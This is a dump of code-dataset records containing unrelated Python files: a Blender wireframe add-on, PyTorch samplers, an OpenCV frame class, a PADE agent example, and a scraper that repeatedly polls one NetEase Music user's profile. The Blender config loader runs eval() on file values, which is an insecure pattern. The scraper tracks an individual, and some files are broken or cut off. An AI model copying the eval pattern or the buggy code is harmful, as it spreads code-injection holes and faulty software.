self.verify_network_tenant(predefined_network['net04_ext'])\n","sub_path":"nailgun/nailgun/test/unit/test_deployment_network_serializer.py","file_name":"test_deployment_network_serializer.py","file_ext":"py","file_size_in_byte":2293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"381205237","text":"# \n\nimport bpy\nimport configparser\nfrom .w_b_scene import BlenderSceneW\nfrom . import b_tools\nfrom . import w_var\n\n\ndef set_layers_affected():\n \"\"\"Sets all layers who will be affected by wireframing and/or clay material to a list.\n\n Returns:\n A list with booleans representing all the layers that will be affected affected by\n wireframing and/or clay material.\n \"\"\"\n if w_var.cb_only_selected:\n layers_affected = [False, ]*20\n\n for obj in bpy.context.scene.objects:\n if obj.select:\n layers_affected = b_tools.manipulate_layerlists('add', layers_affected, obj.layers)\n\n else:\n layers_affected = list(w_var.original_scene.cwac.layers_affected)\n\n return layers_affected\n\n\ndef set_layers_other(layers_affected):\n \"\"\"Sets all layers who will be included in the render layer just as they are in a list.\n\n Returns:\n A list with booleans representing all the layers that will be included in the render layer just as they are.\n \"\"\"\n layers_other = list(w_var.original_scene.cwac.layers_other)\n\n for index in range(0, 20):\n if layers_other[index] and layers_affected[index]:\n layers_other[index] = False\n\n return layers_other\n\n\ndef set_variables(context):\n \"\"\"Sets variables in w_var with data from the UI, also resets some variables.\n\n Args:\n context: Scene context object.\n \"\"\"\n\n # resetting render layer names\n w_var.rlname = ''\n w_var.rlname_other = ''\n\n # resetting objects selected\n w_var.objects_affected = set()\n w_var.objects_other = set()\n w_var.objects_all_used = set()\n\n # original scene\n w_var.original_scene = context.scene\n\n # from interface:\n # wireframe type\n w_var.wireframe_method = context.scene.cwac.wireframe_method\n\n # checkboxes\n w_var.cb_backup = context.scene.cwac.cb_backup\n w_var.cb_clear_rlayers = context.scene.cwac.cb_clear_rlayers\n w_var.cb_clear_materials = context.scene.cwac.cb_clear_materials\n w_var.cb_composited = context.scene.cwac.cb_composited\n w_var.cb_only_selected = context.scene.cwac.cb_only_selected\n w_var.cb_ao = context.scene.cwac.cb_ao\n w_var.cb_clay = context.scene.cwac.cb_clay\n w_var.cb_clay_only = w_var.cb_clay_only_active and context.scene.cwac.cb_clay_only\n w_var.cb_mat_wire = w_var.cb_mat_wire_active and context.scene.cwac.cb_mat_wire\n w_var.cb_mat_clay = w_var.cb_mat_clay_active and context.scene.cwac.cb_mat_clay\n\n # colors set\n w_var.color_wire = context.scene.cwac.color_wire\n w_var.color_clay = context.scene.cwac.color_clay\n\n # materials set (names)\n w_var.mat_wire_name = context.scene.cwac.material_wire\n w_var.mat_clay_name = context.scene.cwac.material_clay\n\n # sliders\n w_var.slider_wt_freestyle = context.scene.cwac.slider_wt_freestyle\n w_var.slider_wt_modifier = context.scene.cwac.slider_wt_modifier\n\n # layers selected\n layers_affected = set_layers_affected()\n layers_other = set_layers_other(layers_affected)\n w_var.layer_numbers_affected = b_tools.layerlist_to_numberset(layers_affected)\n w_var.layer_numbers_other = b_tools.layerlist_to_numberset(layers_other)\n\n # affected and other layers together, | is logical OR operator\n w_var.layer_numbers_all_used = w_var.layer_numbers_affected | w_var.layer_numbers_other\n\n # scene name set\n w_var.scene_name_1 = context.scene.cwac.scene_name_1\n\n\ndef error_check(context):\n \"\"\"Checks for any possible errors.\n\n Args:\n context: Scene context object.\n \"\"\"\n success = True\n error_msg = \"\"\n\n scene = BlenderSceneW(context.scene, False)\n\n if w_var.cb_only_selected and not scene.check_any_selected('MESH'):\n error_msg += \"- Checkbox 'Only selected' is activated but no mesh is selected!\\n\"\n success = False\n\n # used for row alert in __init__.py\n w_var.error_101 = True\n\n if (not w_var.cb_only_selected and\n not len(w_var.layer_numbers_affected) > 0 and not len(w_var.layer_numbers_other) > 0):\n error_msg += \"- No layers selected! Maybe you forgot to use 'Only selected'?\\n\"\n success = False\n\n if w_var.cb_mat_wire and w_var.mat_wire_name == '':\n error_msg += '- No wireframe material selected!\\n'\n success = False\n\n if w_var.cb_mat_clay and w_var.mat_clay_name == '':\n error_msg += '- No clay material selected!\\n'\n success = False\n\n if len(w_var.scene_name_1) == 0:\n error_msg += '- No wireframe/clay scene name!\\n'\n success = False\n\n # used for row alert in __init__.py\n w_var.error_301 = True\n\n return success, error_msg\n\n\ndef config_load(context, filepath):\n \"\"\"Loads an INI config file from filepath.\"\"\"\n\n config = configparser.ConfigParser()\n config.read(filepath)\n\n if 'WIREFRAME TYPE' in config and 'wireframe_method' in config['WIREFRAME TYPE']:\n context.scene.cwac.wireframe_method = config['WIREFRAME TYPE']['wireframe_method']\n\n if 'CHECKBOXES' in config:\n if 'cb_backup' in config['CHECKBOXES']:\n context.scene.cwac.cb_backup = eval(config['CHECKBOXES']['cb_backup'])\n\n if 'cb_clear_rlayers' in config['CHECKBOXES']:\n context.scene.cwac.cb_clear_rlayers = eval(config['CHECKBOXES']['cb_clear_rlayers'])\n\n if 'cb_clear_materials' in config['CHECKBOXES']:\n context.scene.cwac.cb_clear_materials = eval(config['CHECKBOXES']['cb_clear_materials'])\n\n if 'cb_composited' in config['CHECKBOXES']:\n context.scene.cwac.cb_composited = eval(config['CHECKBOXES']['cb_composited'])\n\n if 'cb_only_selected' in config['CHECKBOXES']:\n context.scene.cwac.cb_only_selected = eval(config['CHECKBOXES']['cb_only_selected'])\n\n if 'cb_ao' in config['CHECKBOXES']:\n context.scene.cwac.cb_ao = eval(config['CHECKBOXES']['cb_ao'])\n\n if 'cb_clay' in config['CHECKBOXES']:\n context.scene.cwac.cb_clay = eval(config['CHECKBOXES']['cb_clay'])\n\n if 'cb_clay_only' in config['CHECKBOXES']:\n context.scene.cwac.cb_clay_only = eval(config['CHECKBOXES']['cb_clay_only'])\n\n if 'cb_mat_wire' in config['CHECKBOXES']:\n context.scene.cwac.cb_mat_wire = eval(config['CHECKBOXES']['cb_mat_wire'])\n\n if 'cb_mat_clay' in config['CHECKBOXES']:\n context.scene.cwac.cb_mat_clay = eval(config['CHECKBOXES']['cb_mat_clay'])\n\n if 'COLORS SET' in config:\n if 'color_wireframe' in config['COLORS SET']:\n context.scene.cwac.color_wire = eval(config['COLORS SET']['color_wireframe'])\n\n if 'color_clay' in config['COLORS SET']:\n context.scene.cwac.color_clay = eval(config['COLORS SET']['color_clay'])\n\n if 'MATERIALS SET' in config:\n if 'wireframe' in config['MATERIALS SET']:\n if config['MATERIALS SET']['wireframe'] in bpy.data.materials:\n context.scene.cwac.material_wire = config['MATERIALS SET']['wireframe']\n\n if 'clay' in config['MATERIALS SET']:\n if config['MATERIALS SET']['clay'] in bpy.data.materials:\n context.scene.cwac.material_clay = config['MATERIALS SET']['clay']\n\n if 'SLIDERS' in config:\n if 'slider_wt_freestyle' in config['SLIDERS']:\n context.scene.cwac.slider_wt_freestyle = eval(config['SLIDERS']['slider_wt_freestyle'])\n\n if 'slider_wt_modifier' in config['SLIDERS']:\n context.scene.cwac.slider_wt_modifier = eval(config['SLIDERS']['slider_wt_modifier'])\n\n if 'LAYERS SELECTED' in config:\n if 'layers_affected' in config['LAYERS SELECTED']:\n context.scene.cwac.layers_affected = eval(config['LAYERS SELECTED']['layers_affected'])\n\n if 'layers_other' in config['LAYERS SELECTED']:\n context.scene.cwac.layers_other = eval(config['LAYERS SELECTED']['layers_other'])\n\n if 'SCENE NAME SET' in config:\n if 'scene_name_1' in config['SCENE NAME SET']:\n context.scene.cwac.scene_name_1 = config['SCENE NAME SET']['scene_name_1']\n\n\ndef config_save(context, filepath):\n \"\"\"Saves an INI config file to filepath.\"\"\"\n\n config = configparser.ConfigParser()\n\n config['WIREFRAME TYPE'] = {'wireframe_method': context.scene.cwac.wireframe_method}\n\n config['CHECKBOXES'] = {'cb_backup': context.scene.cwac.cb_backup,\n 'cb_clear_rlayers': context.scene.cwac.cb_clear_rlayers,\n 'cb_clear_materials': context.scene.cwac.cb_clear_materials,\n 'cb_composited': context.scene.cwac.cb_composited,\n 'cb_only_selected': context.scene.cwac.cb_only_selected,\n 'cb_ao': context.scene.cwac.cb_ao,\n 'cb_clay': context.scene.cwac.cb_clay,\n 'cb_clay_only': context.scene.cwac.cb_clay_only,\n 'cb_mat_wire': context.scene.cwac.cb_mat_wire,\n 'cb_mat_clay': context.scene.cwac.cb_mat_clay}\n\n config['COLORS SET'] = {'color_wireframe': list(context.scene.cwac.color_wire),\n 'color_clay': list(context.scene.cwac.color_clay)}\n\n config['MATERIALS SET'] = {'wireframe': context.scene.cwac.material_wire,\n 'clay': context.scene.cwac.material_clay}\n\n config['SLIDERS'] = {'slider_wt_freestyle': context.scene.cwac.slider_wt_freestyle,\n 'slider_wt_modifier': context.scene.cwac.slider_wt_modifier}\n\n config['LAYERS SELECTED'] = {'layers_affected': list(context.scene.cwac.layers_affected),\n 'layers_other': list(context.scene.cwac.layers_other)}\n\n config['SCENE NAME SET'] = {'scene_name_1': context.scene.cwac.scene_name_1}\n\n with open(filepath, 'w') as configfile:\n config.write(configfile)\n\n\ndef set_up_wireframe_freestyle():\n \"\"\"Sets up the complete wireframe using the freestyle setup.\"\"\"\n\n # creates wireframe scene\n wire_scene = BlenderSceneW(w_var.original_scene, w_var.cb_backup, w_var.scene_name_1, 'CYCLES')\n\n # sets all used objects to three sets: affected objects, other object and all used objects\n # (need to do after I copy the scene to get the objects from the copied scene)\n wire_scene.add_objects_used()\n\n # updates progress bar to 25 %\n bpy.context.window_manager.progress_update(25)\n\n if not w_var.cb_clay_only:\n\n # sets up renderlayer(s) (depending on 'Composited wireframing' checkbox) and freestyle wireframing\n # also saves freestyle linestyle name\n wire_scene.set_up_rlayer('wireframe', rlname_other='other')\n wire_scene.get_scene().cwac.data_freestyle_linestyle = wire_scene.add_wireframe_freestyle().name\n\n else:\n # sets up renderlayer named 'clay' instead of 'wireframe'\n wire_scene.set_up_rlayer('clay')\n\n # updates progress bar to 50 %\n bpy.context.window_manager.progress_update(50)\n\n if w_var.cb_clear_materials:\n\n # removes all materials from affected meshes\n wire_scene.select('SELECT', {'MESH'}, objects_excluded={'ELSE'})\n wire_scene.clear_materials_on_selected()\n\n # updates progress bar to 75 %\n bpy.context.window_manager.progress_update(75)\n\n if w_var.cb_clay:\n\n # adds clay material to affected meshes and saves material name\n wire_scene.select('SELECT', {'MESH'}, objects_excluded={'ELSE'})\n wire_scene.get_scene().cwac.data_material_clay = wire_scene.add_clay_to_selected().name\n\n # updates progress bar to 99 %\n bpy.context.window_manager.progress_update(99)\n\n if w_var.cb_ao and not w_var.cb_composited:\n\n # sets up ambient occlusion lighting\n wire_scene.comp_add_ao()\n wire_scene.set_up_world_ao()\n\n elif w_var.cb_composited:\n\n # sets up composition for wireframe and sets up ambient occlusion lighting if used\n wire_scene.comp_add_wireframe_freestyle()\n bpy.data.scenes[wire_scene.name].cycles.film_transparent = True\n\n if w_var.cb_ao:\n wire_scene.set_up_world_ao()\n\n # deselects all objects as a last thing to clean up\n wire_scene.select('DESELECT', objects={'ALL'})\n\n\ndef set_up_wireframe_modifier():\n \"\"\"Sets up the complete wireframe using the modifier setup.\n\n If the mesh(es) you apply this to have several materials each and you don't use clay, the material of the\n wireframe will not be the expected one as it depends on the material offset set in the wireframe modifier.\n \"\"\"\n\n # creates wireframe scene\n wire_scene = BlenderSceneW(w_var.original_scene, w_var.cb_backup, w_var.scene_name_1, 'CYCLES')\n\n # sets all used objects to three sets: affected objects, other object and all used objects\n # (need to do after I copy the scene to get the objects from the copied scene)\n wire_scene.add_objects_used()\n\n # updates progress bar to 25 %\n bpy.context.window_manager.progress_update(25)\n\n if w_var.cb_clear_materials:\n\n # removes all materials from affected meshes\n wire_scene.select('SELECT', {'MESH'}, objects_excluded={'ELSE'})\n wire_scene.clear_materials_on_selected()\n\n # updates progress bar to 50 %\n bpy.context.window_manager.progress_update(50)\n\n if w_var.cb_clay:\n\n # adds clay material to affected meshes and saves material name\n # (need to add clay material before wireframe material for material offset in wireframe modifier to be correct)\n wire_scene.select('SELECT', {'MESH'}, objects_excluded={'ELSE'})\n wire_scene.get_scene().cwac.data_material_clay = wire_scene.add_clay_to_selected().name\n\n # updates progress bar to 75 %\n bpy.context.window_manager.progress_update(75)\n\n if not w_var.cb_clay_only:\n\n # sets up renderlayer and adds wireframe modifier/material to affected meshes and saves wireframe material\n wire_scene.set_up_rlayer('wireframe')\n wire_scene.get_scene().cwac.data_material_wire = wire_scene.add_wireframe_modifier().name\n\n else:\n\n # sets up renderlayer named 'clay' instead of 'wireframe'\n wire_scene.set_up_rlayer('clay')\n\n # updates progress bar to 99 %\n bpy.context.window_manager.progress_update(99)\n\n if w_var.cb_ao:\n\n # sets up ambient occlusion lighting\n wire_scene.set_up_world_ao()\n wire_scene.comp_add_ao()\n\n # deselects all objects as a last thing to clean up\n wire_scene.select('DESELECT', objects={'ALL'})\n","sub_path":"scripts/addons_extern/blender-CyclesWireframeAndClay-master/w_tools.py","file_name":"w_tools.py","file_ext":"py","file_size_in_byte":14484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"15833492","text":"# Copyright 2018 The Yawn Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\"\"\"Test data in the form of a quantized sine wave with added noise.\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport numpy as np\n\nfrom data.quantization import quantiles, quantize, dequantize\n\ndef get_numpy_data(dataset_size, number_of_bins, scale):\n \"\"\".\"\"\"\n limits = 2.0*np.pi*scale\n\n x = np.linspace(-limits, limits, dataset_size+1)\n y = np.sin(x)\n\n # Find a roughly even quantization\n bins = quantiles(y, number_of_bins)\n\n # Add noise\n locs = np.array([-0.2, 0.2])\n scales = np.ones(locs.size)/1e1\n coeffs = np.ones(locs.size)/2.0\n\n indices = np.random.multinomial(1, coeffs, size=y.size).argmax(axis=-1)\n y += np.random.normal(loc=locs[indices], scale=scales[indices])\n\n # Digitize\n data = quantize(y[:-1], bins)\n data_labels = quantize(y[1:], bins, dtype=np.int32)\n\n # Turn feature data into sample points again\n data = dequantize(data, bins)\n\n return data, data_labels, bins\n\nif __name__ == '__main__':\n import matplotlib.pyplot as plt\n\n data, _, _ = get_numpy_data(1000, 64, 2)\n plt.plot(data)\n plt.grid(True)\n plt.show()\n","sub_path":"data/stochastic_quantized_sine_wave.py","file_name":"stochastic_quantized_sine_wave.py","file_ext":"py","file_size_in_byte":1854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"617612278","text":"import cv2\nimport numpy as np\nfrom operator import mul\n\ndef isLight(frame):\n return frame.gray.mean() >= 120\n \nclass Frame(object):\n def __init__(self, img, cap=None, **kwargs):\n self.cap = cap\n self.parent = kwargs.get('parent', None)\n self.roi = kwargs.get('roi', None)\n \n self._img = img\n if cap is not None:\n self._ret = None\n self._time = cap.get(cv2.CAP_PROP_POS_MSEC)/1000.0\n self.number = int(cap.get(cv2.CAP_PROP_POS_FRAMES))\n else:\n self._ret = 'still'\n self._gray = None\n\n def _retreive(self):\n self._ret, self._img = self.cap.retrieve()\n if self.roi is None:\n yRange, xRange = self._img.shape[:2]\n self.roi = ( (0,0), (xRange,yRange) )\n\n def _retreiveIfNecessary(self):\n if not self.retreived:\n self._retreive()\n \n @property\n def roi(self):\n return self._roi\n\n @roi.setter\n def roi(self, roi):\n if roi is None:\n self._roi = None\n else: \n try:\n pt1, pt2 = roi\n except TypeError as e:\n raise TypeError('{0} not valid ROI. Must be unpackable into two points, e.g. `pt1, pt2 = roi`'.format(roi))\n else:\n self._roi = roi\n \n @property\n def img(self):\n self._retreiveIfNecessary()\n if self.roi is None:\n return self._img\n else:\n pt1, pt2 = self.roi\n return self._img[pt1[1]:pt2[1], pt1[0]:pt2[0]]\n\n @property\n def gray(self):\n self._retreiveIfNecessary()\n if self._gray is None:\n self._gray = cv2.cvtColor(self._img, cv2.COLOR_BGR2GRAY)\n\n if self.roi is None:\n return self._gray\n else:\n pt1, pt2 = self.roi\n return self._gray[pt1[1]:pt2[1], pt1[0]:pt2[0]]\n\n @property\n def offset(self):\n if self.roi is None:\n return (0,0)\n else:\n pt1, pt2 = self.roi\n return (pt1[0], pt1[1])\n \n @property\n def time(self):\n return self._time\n \n @property\n def retreived(self):\n return self._ret is not None\n \n @property\n def mask(self):\n return np.zeros(self.gray.shape, np.uint8)\n\n def subFrame(self, roi):\n return Frame(self._img, self.cap, roi=roi)\n\n @property\n def area(self):\n return mul(*self.img.shape[:2])\n \n def __repr__(self):\n\n retreive_stat = 'still'\n if self._ret == 'still':\n retreive_state = 'still'\n elif self.retreived:\n retreive_state = 'retreived'\n else:\n retreive_state = 'not retreived'\n \n if self.cap is not None:\n cap_stat = 'number={0}, time={1}'.format(self.number, self.time)\n else:\n cap_stat = ''\n \n # shape statistics\n if self._ret == 'still' or self.retreived:\n shape = 'shape={0}'.format(self._img.shape)\n else:\n shape = ''\n\n if self.roi is not None:\n roi_stat = 'roi={0}'.format(self.roi)\n else:\n roi_stat = ''\n \n return ''.format(shape=shape,\n roi=roi_stat,\n cap_state=cap_stat,\n retreived=retreive_state)\n","sub_path":"CMAnalytics/video/frame.py","file_name":"frame.py","file_ext":"py","file_size_in_byte":3592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"631708415","text":"from __future__ import print_function\nimport tkinter as tk\nfrom tkinter import *\n\n\nclass Profile_Creation(tk.Frame): # Creates a class\n def __init__(self, master=None):\n super().__init__(master)\n self.pack()\n self.create_widgets()\n\n def create_widgets(self): # Creates a widget\n self.profile = tk.Button(self)\n self.profile[\"text\"] = \"Create Profile\\n(click me)\"\n self.profile[\"command\"] = self.create_profile\n self.profile.pack(side=\"top\")\n\n self.quit = tk.Button(self, text=\"QUIT\", command=root.destroy)\n self.quit.pack(side=\"bottom\")\n\n def create_profile(self): # Defines fields\n fields = 'Full Name', 'Date of Birth'\n\n def fetch(entries): # Fetches user input\n for entry in entries:\n field = entry[0]\n text = entry[1].get()\n print('%s: \"%s\"' % (field, text))\n\n def makeform(root, fields):\n entries = []\n for field in fields:\n row = Frame(root)\n lab = Label(row, width=15, text=field, anchor='w')\n ent = Entry(row)\n row.pack(side=TOP, fill=X, padx=5, pady=5)\n lab.pack(side=LEFT)\n ent.pack(side=RIGHT, expand=YES, fill=X)\n entries.append((field, ent))\n return entries\n\n if __name__ == '__main__':\n root = Tk()\n ents = makeform(root, fields)\n root.bind('', (lambda event, e=ents: fetch(e)))\n b1 = Button(root, text='Show', command=(lambda e=ents: fetch(e)))\n b1.pack(side=LEFT, padx=5, pady=5)\n b2 = Button(root, text='Quit', command=root.quit)\n b2.pack(side=LEFT, padx=5, pady=5)\n root.mainloop()\n\n\nroot=tk.Tk()\napp = Profile_Creation(master=root)\napp.mainloop()\n","sub_path":"Introduction to Programming/Assignment 2/Interesting Variables_TK.py","file_name":"Interesting Variables_TK.py","file_ext":"py","file_size_in_byte":1860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"75915223","text":"import torch\r\nfrom torch.utils.data.sampler import Sampler\r\nimport numpy as np\r\nimport logging\r\n\r\ndef create_logger(name, log_file, level=logging.INFO):\r\n l = logging.getLogger(name)\r\n formatter = logging.Formatter('[%(asctime)s][%(filename)15s][line:%(lineno)4d][%(levelname)8s] %(message)s')\r\n fh = logging.FileHandler(log_file)\r\n fh.setFormatter(formatter)\r\n sh = logging.StreamHandler()\r\n sh.setFormatter(formatter)\r\n l.setLevel(level)\r\n l.addHandler(fh)\r\n l.addHandler(sh)\r\n return l\r\n\r\nclass DataSampler(Sampler):\r\n \"\"\"Sampler that restricts data loading to a subset of the dataset.\r\n\r\n .. note::\r\n Dataset is assumed to be of constant size.\r\n\r\n Arguments:\r\n dataset: Dataset used for sampling.\r\n \"\"\"\r\n\r\n def __init__(self, dataset, round_up=True):\r\n self.dataset = dataset\r\n self.round_up = round_up\r\n self.epoch = 0\r\n \r\n self.num_samples = len(self.dataset)\r\n\r\n self.total_size = len(self.dataset)\r\n\r\n def __iter__(self):\r\n # deterministically shuffle based on epoch\r\n g = torch.Generator()\r\n g.manual_seed(self.epoch)\r\n indices = list(torch.randperm(len(self.dataset), generator=g))\r\n\r\n # add extra samples to make it evenly divisible\r\n if self.round_up:\r\n indices += indices[:(self.total_size - len(indices))]\r\n assert len(indices) == self.total_size\r\n\r\n return iter(indices)\r\n\r\n def __len__(self):\r\n return self.num_samples\r\n\r\n def set_epoch(self, epoch):\r\n self.epoch = epoch\r\n\r\nclass GivenIterationSampler(Sampler):\r\n def __init__(self, dataset, total_iter, batch_size, last_iter=-1):\r\n self.dataset = dataset\r\n self.total_iter = total_iter\r\n self.batch_size = batch_size\r\n self.world_size = 1\r\n self.rank = 0\r\n self.last_iter = last_iter\r\n\r\n self.total_size = self.total_iter*self.batch_size\r\n\r\n self.indices = self.gen_new_list()\r\n self.call = 0\r\n\r\n def __iter__(self):\r\n if self.call == 0:\r\n self.call = 1\r\n return iter(self.indices[(self.last_iter+1)*self.batch_size:])\r\n else:\r\n raise RuntimeError(\"this sampler is not designed to be called more than once!!\")\r\n\r\n def gen_new_list(self):\r\n\r\n # each process shuffle all list with same seed, and pick one piece according to rank\r\n np.random.seed(0)\r\n\r\n all_size = self.total_size * self.world_size\r\n indices = np.arange(len(self.dataset))\r\n indices = indices[:all_size]\r\n num_repeat = (all_size-1) // indices.shape[0] + 1\r\n indices = np.tile(indices, num_repeat)\r\n indices = indices[:all_size]\r\n\r\n np.random.shuffle(indices)\r\n beg = self.total_size * self.rank\r\n indices = indices[beg:beg+self.total_size]\r\n\r\n assert len(indices) == self.total_size\r\n\r\n return indices\r\n\r\n def __len__(self):\r\n # note here we do not take last iter into consideration, since __len__\r\n # should only be used for displaying, the correct remaining size is\r\n # handled by dataloader\r\n #return self.total_size - (self.last_iter+1)*self.batch_size\r\n return self.total_size","sub_path":"util/data_loader.py","file_name":"data_loader.py","file_ext":"py","file_size_in_byte":3252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"157720362","text":"def odsetki(oproc, czas, kwota):\n\n wynik = kwota * (oproc/100) * (czas/12)\n return wynik\n\n\nprint(odsetki(3, 12, 1000))\n\n\ndef odsetki_odn(oproc, czas, kwota, odn):\n\n kwota_pierwotna = kwota\n\n for i in range(odn+1):\n kwota = odsetki(3, 3, kwota) + kwota\n\n print(kwota - kwota_pierwotna)\n\n\nodsetki_odn(3, 3, 1000, 3)\n\n","sub_path":"Lista2/lista2_2.py","file_name":"lista2_2.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"124273103","text":"# -*- coding: utf-8 -*-\n\"\"\"pentapy: A toolbox for pentadiagonal matrizes.\"\"\"\nimport os\nfrom setuptools import setup, Extension\nfrom Cython.Build import cythonize\nimport numpy as np\n\n# cython extensions ###########################################################\n\nCY_MODULES = []\nCY_MODULES.append(\n Extension(\n \"pentapy.solver\",\n [os.path.join(\"pentapy\", \"solver.pyx\")],\n include_dirs=[np.get_include()],\n )\n)\nEXT_MODULES = cythonize(CY_MODULES) # annotate=True\n\n# embed signatures for sphinx\nfor ext_m in EXT_MODULES:\n ext_m.cython_directives = {\"embedsignature\": True}\n\n# setup #######################################################################\n\nsetup(ext_modules=EXT_MODULES, include_dirs=[np.get_include()])\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"247254802","text":"''' This example shows how the read_timeout() method works. This\nexample models an attendant that goes to drink water in each 3\nseconds, and returns to attend customers. The customers request,\nat different times, the call center services.\n'''\n\nfrom pade.acl.messages import ACLMessage\nfrom pade.behaviours.types import CyclicBehaviour, WakeUpBehaviour, OneShotBehaviour\nfrom pade.core.agent import Agent\nfrom pade.misc.utility import display_message, start_loop\n\n\n# Attendant Agent\nclass Attendant(Agent):\n\tdef setup(self):\n\t\tself.add_behaviour(CheckQueue(self))\n\nclass CheckQueue(CyclicBehaviour):\n\tdef action(self):\n\t\t# Waits for a call for 3 seconds (using the read_timeout() method)\n\t\tcall = self.read_timeout(3)\n\t\t# If there is at least one call to reply...\n\t\tif call != None: # You must handle None objects when using read_timeout()\n\t\t\treply = call.create_reply() # Creates a reply\n\t\t\treply.set_content('Here is your help.')\n\t\t\tself.send(reply) # Sends the reply\n\t\t\tdisplay_message(self.agent, 'Help sent to %s.' % call.sender.getName())\n\t\telse:\n\t\t\t# Goes to drink water\n\t\t\tdisplay_message(self.agent, \"I'm gonna drink water.\")\n\t\t\tself.wait(10)\n\t\t\tdisplay_message(self.agent, 'I returned from water. e.e')\n\n\n# Customer Agent\nclass Customer(Agent):\n\t# We're using the __init__() method to handle the input \n\t# parameters for this agent\n\tdef __init__(self, aid, time, attendant):\n\t\t# This super().__init__(aid) call is needed\n\t\tsuper().__init__(aid)\n\t\tself.time = time # The time to customer make a call\n\t\tself.attendant = attendant # The address of attendant\n\n\tdef setup(self):\n\t\tself.add_behaviour(Call(self, self.time))\n\t\tself.add_behaviour(CloseCall(self))\n\nclass Call(WakeUpBehaviour):\n\tdef on_wake(self):\n\t\t# Preparing a message\n\t\tcall = ACLMessage(ACLMessage.REQUEST)\n\t\tcall.set_content('I need help!')\n\t\tcall.add_receiver(self.agent.attendant)\n\t\tself.send(call) # Sending a message\n\t\tdisplay_message(self.agent, \"I'm making a call.\")\n\n\nclass CloseCall(OneShotBehaviour):\n\tdef action(self):\n\t\t# The customer only ends the call when gets a response\n\t\tresponse = self.read()\n\t\t# You don't need to handle None objects, because the read()\n\t\t# method always returns an ACLMessage object. The behaviour\n\t\t# will remain blocked until a message arrives.\n\t\tdisplay_message(self.agent, \" received help and I'm closing the call. Thank you. =)\")\n\t\tdisplay_message(self.agent, 'Help content: %s' % response.content)\n\n\nif __name__ == '__main__':\n\tagents = list()\n\tattendant = Attendant('attendant')\n\tagents.append(attendant)\n\t# Passing the attendant address for each customer\n\tagents.append(Customer('customer-1', 2, attendant.aid))\n\tagents.append(Customer('customer-2', 10, attendant.aid))\n\tagents.append(Customer('customer-3', 20, attendant.aid))\n\tstart_loop(agents)","sub_path":"examples/behaviours-and-messages/CallCenter.py","file_name":"CallCenter.py","file_ext":"py","file_size_in_byte":2765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"90687184","text":"import requests\nfrom lxml import etree\nimport re\nimport datetime\nimport time\n\nurl='https://music.163.com/user/home?id=514172523'\nheaders={\n 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36'\n}\n\n\ndef get_username_sign(result):\n sign=re.split('[。,;:]',result[0])[0]\n username=re.sub('[的最近常听]','',re.split('[、]',re.split('[。,;:]',result[0])[1])[0])\n return username,sign\n\n\ndef write_if_not_exist(username,sign):\n '''判断是否相同,如果有不同的就写入'''\n with open('163music.txt','r',encoding='utf-8') as f:\n for line in f:\n result=username+'\\t'+sign+'\\n'\n if result in line:\n print(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')+'已经存在\\t'+result)\n f.close()\n return\n else:\n with open('163music.txt','a',encoding='utf-8') as f:\n f.write(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')+'\\t'+username+'\\t'+sign+'\\n')\n f.close()\n print(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')+'写入成功\\t'+result)\n\nwhile 1:\n r=requests.get(url,headers=headers)\n html=etree.HTML(r.text)\n result=html.xpath('//meta[@name=\"description\"]/@content')\n username,sign=get_username_sign(result)\n write_if_not_exist(username,sign)\n time.sleep(60)\n \n","sub_path":"pycrawler/163music.py","file_name":"163music.py","file_ext":"py","file_size_in_byte":1463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"310114831","text":"from style_tranform.utils.utils import *\n\nclass ConvLayer(nn.Module):\n def __init__(self,inchannels,out_channels,kernel_size,stride):\n super(ConvLayer, self).__init__()\n # 下最边界\n reflection_padding = int(np.floor(kernel_size)/2)\n self.reflection_pad = nn.ReflectionPad2d(reflection_padding)\n self.conv2d = nn.Conv2d( inchannels,out_channels,kernel_size,stride)\n def forward(self, x):\n out = self.reflection_pad(x)\n out = self.conv2d(out)\n return out\n\nclass TransformerNet(nn.Module):\n def __init__(self):\n super(TransformerNet, self).__init__()\n # 下卷积层\n self.initial_layers = nn.Sequential(\n ConvLayer(3,32,9,1),\n nn.InstanceNorm2d(32,affine=True),\n nn.ReLU(True),\n ConvLayer(32,64,kernel_size= 3,stride = 2),\n nn.InstanceNorm2d(64,affine=True),\n nn.ReLU(True),\n ConvLayer(64,128,kernel_size=3,stride=2),\n nn.InstanceNorm2d(128,affine=True),\n nn.ReLU(True)\n )\n #残差层\n self.res_layers = nn.Sequential(\n nn.ResidualBlock(128),\n\n )\n # 上卷积层\n self.upsample_layers = nn.Sequential(\n nn.Upsample\n )\n\n def forward(self, x):\n x = self.initial_layers(x)\n x = self.res_layers(x)\n x = self.upsample_layers(x)\n\n return 